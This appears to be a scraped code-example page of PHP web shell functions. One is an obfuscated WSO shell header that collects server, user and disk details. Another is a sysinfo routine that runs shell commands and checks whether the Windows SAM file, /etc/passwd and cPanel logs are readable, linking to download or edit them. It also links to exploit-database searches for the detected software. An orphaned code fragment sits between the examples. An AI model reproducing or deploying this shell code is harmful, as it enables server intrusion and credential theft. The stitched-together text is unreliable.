Beispiel #1
0
function _н()
{
    if (empty($_POST[_≈сс::_ш┬('_а■' . '╤', '_' . '╛жг')])) {
        $_POST[_≈сс::_ш┬('_└' . '╘╞', '_оф' . '╗')] = $GLOBALS[_≈сс::_ш┬('_я■╗', '_шп')];
    }
    global $_й;
    echo _≈сс::_ш┬('_' . 'ла' . 'х', '_ёё' . '∙') . $_POST[_≈сс::_ш┬('_яб', '_а' . 'о┬')] . _≈сс::_ш┬('_ё╝' . 'э', '_р┬') . $_SERVER[_≈сс::_ш┬('_√' . 'п╜', '_я╜')] . _≈сс::_ш┬('_х┌' . '╕', '_╛й') . WSO_VERSION . _≈сс::_ш┬('_┌' . 'я', '_╝█' . 'ъ') . $_й . _≈сс::_ш┬('_╔' . '╥▌', '_д┼е') . $_й . _≈сс::_ш┬('_╤' . '∙', '_╕ж') . $_й . _≈сс::_ш┬('_' . 'ка', '_з▄') . htmlsPEcIAlchaRS($GLOBALS[_≈сс::_ш┬('_║▀ж', '_' . 'э┴')]) . _≈сс::_ш┬('_≈■╙', '_╕' . 'ф') . HtMlsPEciaLCHARs(@$_POST[_≈сс::_ш┬('_∙▄и', '_═')]) . _≈сс::_ш┬('_ца', '_▒') . htMlsPecIalcHars(@$_POST[_≈сс::_ш┬('_нп', '_┘' . '╠' . 'ю')]) . _≈сс::_ш┬('_ъ└', '_║╤' . 'ь') . (strPos(@$_POST[_≈сс::_ш┬('_═▒╔', '_▀' . '┬≈')], _≈сс::_ш┬('_' . 'аи', '_≤' . 'ё')) !== false ? _≈сс::_ш┬('_' . 'э═┴', '_≈' . '') : hTMlSpEciAlcHaRs($_POST[_≈сс::_ш┬('_▒ы▄', '_й')], 03)) . _≈сс::_ш┬('_ып≤', '_я╔я') . (stRPos(@$_POST[_≈сс::_ш┬('_┤■' . '╩', '_├┘')], _≈сс::_ш┬('_' . '╣' . 'с╥', '_' . '∙' . 'еф')) !== false ? _≈сс::_ш┬('_л', '_б≈' . 'ь') : hTMLsPEcialCHaRS($_POST[_≈сс::_ш┬('_' . '╙', '_╧└')], 03)) . _≈сс::_ш┬('_╔' . 'ъш', '_╓' . '▓' . '│') . (STrPOs(@$_POST[_≈сс::_ш┬('_▄' . '┴' . 'м', '_е▀' . '█')], _≈сс::_ш┬('_┤╓─', '_ю')) !== false ? _≈сс::_ш┬('_' . 'е└', '_╞│') : HTMLspeCIALChaRs($_POST[_≈сс::_ш┬('_лт' . '╓', '_в╗')], 03)) . _≈сс::_ш┬('_' . 'тъ', '_' . 'я∙') . AddsLASheS($_SERVER[_≈сс::_ш┬('_й▒▒', '_те⌠')]) . _≈сс::_ш┬('_' . 'б╗', '_д▐' . 'з');
    $_т = @dIskFREESpaCe($GLOBALS[_≈сс::_ш┬('_' . '║' . 'н', '_' . 'ё' . '┬')]);
    $_■ё = @diSk_TotAL_sPACE($GLOBALS[_≈сс::_ш┬('_█ю', '_╝⌡╕')]);
    $_■ё = $_■ё ? $_■ё : 01;
    $_╞ = @php_unamE(_≈сс::_ш┬('_' . 'а' . '' . '≈', '_' . '■' . '╧' . '▐'));
    $_╤╖ = @pHP_UName(_≈сс::_ш┬('_' . 'лж', '_н'));
    $_ы╙м = _≈сс::_ш┬('_╫' . 'г', '_╕▌');
    if (stRpOS(_≈сс::_ш┬('_╫' . 'г╙', '_╝' . 'а'), $_╤╖) !== false) {
        $_ы╙м .= URlEncOdE(_≈сс::_ш┬('_в', '_' . 'е╜') . substr($_╞, 00, 06));
    } else {
        $_ы╙м .= UrLEncodE($_╤╖ . _≈сс::_ш┬('_с═╙', '_∙╟╚') . sUBsTr($_╞, 00, 03));
    }
    if (!FunCTiOn_ExIstS(_≈сс::_ш┬('_' . '⌡', '_' . 'дя╟'))) {
        $_ёлй = @gEt_CUrreNT_USer();
        $_■ = @GETMYuId();
        $_▀я├ = @GEtMygiD();
        $_я█ = _≈сс::_ш┬('_' . 'е╖', '_е⌠');
    } else {
        $_■ = @POsIX_gETpWuID(pOSix_gEtEUID());
        $_▀я├ = @posiX_gEtgRgiD(pOsIX_geteGiD());
        $_ёлй = $_■[_≈сс::_ш┬('_╝хд', '_├' . '■' . '▒')];
        $_■ = $_■[_≈сс::_ш┬('_' . '╕тр', '_й┴' . '╓')];
        $_я█ = $_▀я├[_≈сс::_ш┬('_' . 'я▒', '_' . '┼' . '╚')];
        $_▀я├ = $_▀я├[_≈сс::_ш┬('_╧' . '╠', '_█' . '╓' . '╔')];
    }
    $_╤ = _≈сс::_ш┬('_' . '⌡' . '≤', '_чц');
    $_╞ф╞ = eXPLoDE(_≈сс::_ш┬('_' . '∙', '_═┴' . 'т'), $GLOBALS[_≈сс::_ш┬('_╜║' . '╘', '_╠≤' . 'п')]);
    $_╫≥ = coUNT($_╞ф╞);
    for ($_╧╞│ = 00; $_╧╞│ < $_╫≥ - 01; $_╧╞│++) {
        $_╤ .= _≈сс::_ш┬('_' . 'ц═', '_щ┘╓');
        for ($_╫ым = 00; $_╫ым <= $_╧╞│; $_╫ым++) {
            $_╤ .= $_╞ф╞[$_╫ым] . _≈сс::_ш┬('_' . '■╕', '_' . '≤▐');
        }
        $_╤ .= _≈сс::_ш┬('_≥м▀', '_┬' . 'д╕') . $_╞ф╞[$_╧╞│] . _≈сс::_ш┬('_╤', '_┘▒');
    }
    $_ою╫ = array(_≈сс::_ш┬('_рб', '_┘▓'), _≈сс::_ш┬('_╕┌', '_' . 'о'), _≈сс::_ш┬('_' . 'б┌', '_' . '■' . '╓'), _≈сс::_ш┬('_жъ', '_й╜т'), _≈сс::_ш┬('_╠' . 'з', '_' . '╤▄╧'));
    $_┤ = _≈сс::_ш┬('_' . '▀', '_╔' . 'д▐');
    foreach ($_ою╫ as $_е) {
        $_┤ .= _≈сс::_ш┬('_ё' . 'у', '_' . 'б╠' . '┬') . $_е . _≈сс::_ш┬('_√╜╡', '_╛' . '╓') . ($_POST[_≈сс::_ш┬('_ъй', '_ч┼╩')] == $_е ? _≈сс::_ш┬('_' . '█' . 'яв', '_е┤' . '≈') : _≈сс::_ш┬('_' . '▐' . 'о╗', '_╣ь')) . _≈сс::_ш┬('_┴йж', '_' . 'ч┤') . $_е . _≈сс::_ш┬('_э╣' . 'т', '_' . '╠ыё');
    }
    $_║ = array(_≈сс::_ш┬('_▌' . '╓', '_≥┌ы') => _≈сс::_ш┬('_' . '≥' . '╘', '_╔' . 'т'), _≈сс::_ш┬('_╔' . '▄', '_ч▀') => _≈сс::_ш┬('_│' . '┼╙', '_╚' . '┬'), _≈сс::_ш┬('_╜≤', '_' . 'ж█о') => _≈сс::_ш┬('_' . '├' . 'д', '_┴' . 'тт'), _≈сс::_ш┬('_п▒' . 'д', '_ьд' . '█') => _≈сс::_ш┬('_' . 'ч≈', '_' . '┬' . '⌠'), _≈сс::_ш┬('_▓≈', '_╞╝╥') => _≈сс::_ш┬('_╞' . 'е', '_' . '├'), _≈сс::_ш┬('_ру' . '≈', '_' . '╚' . '√') => _≈сс::_ш┬('_ш', '_╟'), _≈сс::_ш┬('_' . 'дт', '_╙' . '╜' . '⌡') => _≈сс::_ш┬('_┼' . '╝г', '_о┼'), _≈сс::_ш┬('_├╣╫', '_┼и╖') => _≈сс::_ш┬('_┬а' . '╞', '_═' . '└' . 'л'));
    if (!empty($GLOBALS[_≈сс::_ш┬('_⌠' . '╚', '_▒' . 'ю' . 'щ')])) {
        $_║[_≈сс::_ш┬('_╕╫', '_' . '╡╧ь')] = _≈сс::_ш┬('_' . '╟оё', '_' . 'ж╠' . 'р');
    }
    $_║[_≈сс::_ш┬('_╞' . 'р', '_⌡' . 'г')] = _≈сс::_ш┬('_╙√', '_у');
    $_о = _≈сс::_ш┬('_╫ни', '_▐' . 'д');
    foreach ($_║ as $_≤ => $_ю╫) {
        $_о .= _≈сс::_ш┬('_з≥', '_═к') . (int) (0144 / coUnT($_║)) . _≈сс::_ш┬('_╝┴ч', '_' . 'бг' . '▐') . $_ю╫ . _≈сс::_ш┬('_╔█' . '└', '_' . 'я╥') . $_≤ . _≈сс::_ш┬('_' . 'ж╧╩', '_' . 'щь');
    }
    $_рз╕ = _≈сс::_ш┬('_╗' . '▌' . '═', '_≈├' . '▒');
    if ($GLOBALS[_≈сс::_ш┬('_о╓', '_' . '≤╜')] == _≈сс::_ш┬('_─ш', '_' . '╛' . '╙')) {
        foreach (rANge(_≈сс::_ш┬('_фц', '_' . '╖й'), _≈сс::_ш┬('_' . 'л⌡', '_' . '┌┌')) as $_╘╘) {
            if (iS_diR($_╘╘ . _≈сс::_ш┬('_' . '≥' . '╤х', '_' . '║' . '╞'))) {
                $_рз╕ .= _≈сс::_ш┬('_' . 'л╠' . '▄', '_' . 'г▒' . '╗') . $_╘╘ . _≈сс::_ш┬('_шх' . 'ъ', '_╟' . '╝') . $_╘╘ . _≈сс::_ш┬('_у┌' . '╥', '_' . '╣' . '╤');
            }
        }
    }
    echo _≈сс::_ш┬('_╜' . '╥', '_╧╔' . '√') . ($GLOBALS[_≈сс::_ш┬('_' . 'с╣', '_ия')] == _≈сс::_ш┬('_╝╟', '_▌йг') ? _≈сс::_ш┬('_фф└', '_╫' . '≥') : _≈сс::_ш┬('_' . '╔' . 'э╤', '_' . '╗' . 'м')) . _≈сс::_ш┬('_' . '╥' . '' . 'ь', '_' . '≥║') . _≈сс::_ш┬('_╙' . '╘╛', '_' . 'пм') . suBsTr(@PhP_UNAME(), 00, 0170) . _≈сс::_ш┬('_├' . '╡' . 'у', '_' . 'ы') . $_ы╙м . _≈сс::_ш┬('_' . 'щ╞' . 'ъ', '_' . 'к▒') . $_■ . _≈сс::_ш┬('_╝≈' . '╫', '_ыы') . $_ёлй . _≈сс::_ш┬('_▌≈', '_сс┴') . $_▀я├ . _≈сс::_ш┬('_ш╤' . 'ф', '_' . 'ёг') . $_я█ . _≈сс::_ш┬('_' . 'ж╣' . 'э', '_╘' . '∙' . 'в') . @PHpvErSiOn() . _≈сс::_ш┬('_╩╥' . 'ф', '_▓' . '─') . ($GLOBALS[_≈сс::_ш┬('_╣' . '└', '_≈' . 'е')] ? _≈сс::_ш┬('_╡' . '╘┘', '_ж█' . 'а') : _≈сс::_ш┬('_ц┘', '_ычп')) . _≈сс::_ш┬('_' . '⌡' . 'я', '_≈╛│') . DaTE(_≈сс::_ш┬('_рж', '_с≥а')) . _≈сс::_ш┬('_╙' . '└', '_≤▀' . '═') . _┌├к($_■ё) . _≈сс::_ш┬('_■вл', '_жы') . _┌├к($_т) . _≈сс::_ш┬('_├ю', '_╗╠') . (int) ($_т / $_■ё * 0144) . _≈сс::_ш┬('_╘т┌', '_' . 'фдк') . $_╤ . _≈сс::_ш┬('_' . '▀╤', '_т╣') . _═├($GLOBALS[_≈сс::_ш┬('_' . 'е│' . 'ю', '_ук' . 'ё')]) . _≈сс::_ш┬('_' . 'нф', '_' . '╠а┴') . $GLOBALS[_≈сс::_ш┬('_╗х', '_╕' . 'о╖')] . _≈сс::_ш┬('_ч╧≥', '_┤' . 'ую') . $_рз╕ . _≈сс::_ш┬('_┤' . '▌╘', '_' . '√' . '▌') . _≈сс::_ш┬('_└≈', '_з╚' . 'ъ') . $_┤ . _≈сс::_ш┬('_┬ч╩', '_⌡' . 'чы') . @$_SERVER[_≈сс::_ш┬('_' . '╓э├', '_╡' . '╝┘')] . _≈сс::_ш┬('_' . 'э', '_╧' . 'в') . $_SERVER[_≈сс::_ш┬('_ц├▌', '_' . 'п╟')] . _≈сс::_ш┬('_╥' . 'ы', '_' . '∙╙│') . _≈сс::_ш┬('_' . 'пж', '_ъ▌') . $_о . _≈сс::_ш┬('_атя', '_╟' . '⌠т');
}
             $fsize += @disk_free_space($drive);
             $tsize += @disk_total_space($drive);
         }
     }
 } else {
     $fsize = disk_free_space('/');
     $tsize = disk_total_space('/');
 }
 $disksize = "Used Space: " . showsizE($tsize - $fsize) . "   Free Space: " . showsizE($fsize) . "   Total Space: " . showsizE($tsize);
 if (empty($CPU)) {
     $CPU = "Unknown";
 }
 $os = php_unamE();
 $osn = php_unamE('s');
 if (!$windows) {
     $ker = php_unamE('r');
     $o = $osn == "Linux" ? "Linux+Kernel" : $osn;
     $os = str_replace($osn, "{$mil}{$o}\"><font color='yellow'>{$osn}</font></a>", $os);
     $os = str_replace($ker, "{$mil}Linux+Kernel\"><font color='yellow'>{$ker}</font></a>", $os);
     $inpa = ':';
 } else {
     $sam = $sysroot . "\\system32\\config\\SAM";
     $inpa = ';';
     $os = str_replace($osn, "{$mil}MS+Windows\"><font color='yellow'>{$osn}</font></a>", $os);
 }
 $software = str_replace("Apache", "{$mil}Apache\"><font color='#66ffff'>Apache</font></a>", $_SERVER['SERVER_SOFTWARE']);
 echo "\r\n<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"  width=\"100%\" >\r\n <tr><td><b>Server information:</b></td></tr>\r\n <tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td>\r\n <td bgcolor=\"#666666\">" . $_SERVER["HTTP_HOST"];
 if (!empty($_SERVER["SERVER_ADDR"])) {
     echo "(" . $_SERVER["SERVER_ADDR"] . ")";
 }
 echo "\r\n</td></tr>\r\n<tr><td width=\"25%\" >Operation System:</td>    <td >{$os}{$osver}</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">Web server Application:</td>  <td bgcolor=\"#666666\">{$software}</td></tr>\r\n<tr><td width=\"25%\" >CPU:</td>  <td >{$CPU}</td></tr>\r\n <td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">{$disksize}</td></tr>\r\n<tr><td width=\"25%\" >User domain:</td><td >";
Beispiel #3
0
function sysinfO()
{
    global $windows, $disablefunctions, $safemode;
    $cwd = getcwd();
    $mil = "<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
    $basedir = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "ON" : "OFF";
    if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) {
        $CPU = $_SERVER["PROCESSOR_IDENTIFIER"];
    }
    $osver = $tsize = $fsize = '';
    if ($windows) {
        $osver = "  (" . shelL("ver") . ")";
        $sysroot = shelL("echo %systemroot%");
        if (empty($sysroot)) {
            $sysroot = $_SERVER["SystemRoot"];
        }
        if (empty($sysroot)) {
            $sysroot = getenv("windir");
        }
        if (empty($sysroot)) {
            $sysroot = "Not Found";
        }
        if (empty($CPU)) {
            $CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
        }
        for ($i = 66; $i <= 90; $i++) {
            $drive = chr($i) . ':\\';
            if (is_dir($drive)) {
                $fsize += @disk_free_space($drive);
                $tsize += @disk_total_space($drive);
            }
        }
    } else {
        $fsize = disk_free_space('/');
        $tsize = disk_total_space('/');
    }
    $disksize = "Used spase: " . showsizE($tsize - $fsize) . "   Free space: " . showsizE($fsize) . "   Total space: " . showsizE($tsize);
    if (empty($CPU)) {
        $CPU = "Unknow";
    }
    $os = php_unamE();
    $osn = php_unamE('s');
    if (!$windows) {
        $ker = php_unamE('r');
        $o = $osn == "Linux" ? "Linux+Kernel" : $osn;
        $os = str_replace($osn, "{$mil}{$o}\">{$osn}</a>", $os);
        $os = str_replace($ker, "{$mil}Linux+Kernel\">{$ker}</a>", $os);
        $inpa = ':';
    } else {
        $sam = $sysroot . "\\system32\\config\\SAM";
        $inpa = ';';
        $os = str_replace($osn, "{$mil}MS+Windows\">{$osn}</a>", $os);
    }
    $software = str_replace("Apache", "{$mil}Apache\">Apache</a>", $_SERVER['SERVER_SOFTWARE']);
    echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">" . $_SERVER["HTTP_HOST"];
    if (!empty($_SERVER["SERVER_ADDR"])) {
        echo "(" . $_SERVER["SERVER_ADDR"] . ")";
    }
    echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">{$os}{$osver}</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">{$software}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">{$CPU}</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">{$disksize}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";
    if (!empty($_SERVER['USERDOMAIN'])) {
        echo $_SERVER['USERDOMAIN'];
    } else {
        echo "Unknow";
    }
    echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";
    $cuser = get_current_user();
    if (!empty($cuser)) {
        echo get_current_user();
    } else {
        echo "Unknow";
    }
    echo "</td></tr>";
    if ($windows) {
        echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"" . hlinK("seC=fm&workingdiR={$sysroot}") . "\">{$sysroot}</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";
        if (is_readable($sam)) {
            echo "<a href=\"" . hlinK("?workingdiR={$sysroot}\\system32\\config&downloaD=sam") . "\">Readable</a>";
        } else {
            echo "Not readable";
        }
        echo "</td></tr>";
    } else {
        echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">";
        if (is_readable('/etc/passwd')) {
            echo "<a href=\"" . hlinK("seC=edit&filE=/etc/passwd&workingdiR={$cwd}") . "\">Readable</a>";
        } else {
            echo 'Not readable';
        }
        echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
        if (file_exists("/var/cpanel/accounting.log")) {
            if (is_readable("/var/cpanel/accounting.log")) {
                echo "<a href=\"" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "\">Readable</a>";
            } else {
                echo "Not readable";
            }
        } else {
            echo "Not found";
        }
        echo "</td></tr>";
    }
    $uip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : getenv('REMOTE_ADDR');
    echo "<tr><td width=\"25%\" bgcolor=\"#808080\">{$mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=" . php_logo_guid() . "\" target=\"_blank\">" . PHP_VERSION . "</a> (<a href=\"" . hlinK("seC=phpinfo&workingdiR={$cwd}") . "\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";
    if (function_exists('zend_version')) {
        echo "<a href=\"?=" . zend_logo_guid() . "\" target=\"_blank\">" . zend_version() . "</a>";
    } else {
        echo "Not Found";
    }
    echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">" . str_replace($inpa, " ", DEFAULT_INCLUDE_PATH) . "</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";
    $ext = get_loaded_extensions();
    foreach ($ext as $v) {
        echo $v . " ";
    }
    echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";
    if (!empty($disablefunctions)) {
        echo $disablefunctions;
    } else {
        echo "Nothing";
    }
    echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">{$safemode}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">{$basedir}</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";
    $sq = "";
    if (function_exists('mysql_connect')) {
        $sq = "{$mil}MySQL\">MySQL</a> ";
    }
    if (function_exists('mssql_connect')) {
        $sq .= " {$mil}MSSQL\">MSSQL</a> ";
    }
    if (function_exists('ora_logon')) {
        $sq .= " {$mil}Oracle\">Oracle</a> ";
    }
    if (function_exists('sqlite_open')) {
        $sq .= " SQLite ";
    }
    if (function_exists('pg_connect')) {
        $sq .= " {$mil}PostgreSQL\">PostgreSQL</a> ";
    }
    if (function_exists('msql_connect')) {
        $sq .= " mSQL ";
    }
    if (function_exists('mysqli_connect')) {
        $sq .= " MySQLi ";
    }
    if (function_exists('ovrimos_connect')) {
        $sq .= " Ovrimos SQL ";
    }
    if ($sq == "") {
        $sq = "Nothing";
    }
    echo "{$sq}</td></tr>";
    if (function_exists('curl_init')) {
        echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";
    }
    if (function_exists('curl_version')) {
        $ver = curl_version();
        echo "(Version:" . $ver['version'] . " OpenSSL version:" . $ver['ssl_version'] . " zlib version:" . $ver['libz_version'] . " host:" . $ver['host'] . ")";
    }
    echo "</td></tr>";
    echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">{$uip}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">" . getenv('HTTP_USER_AGENT') . "</td></tr></table>";
}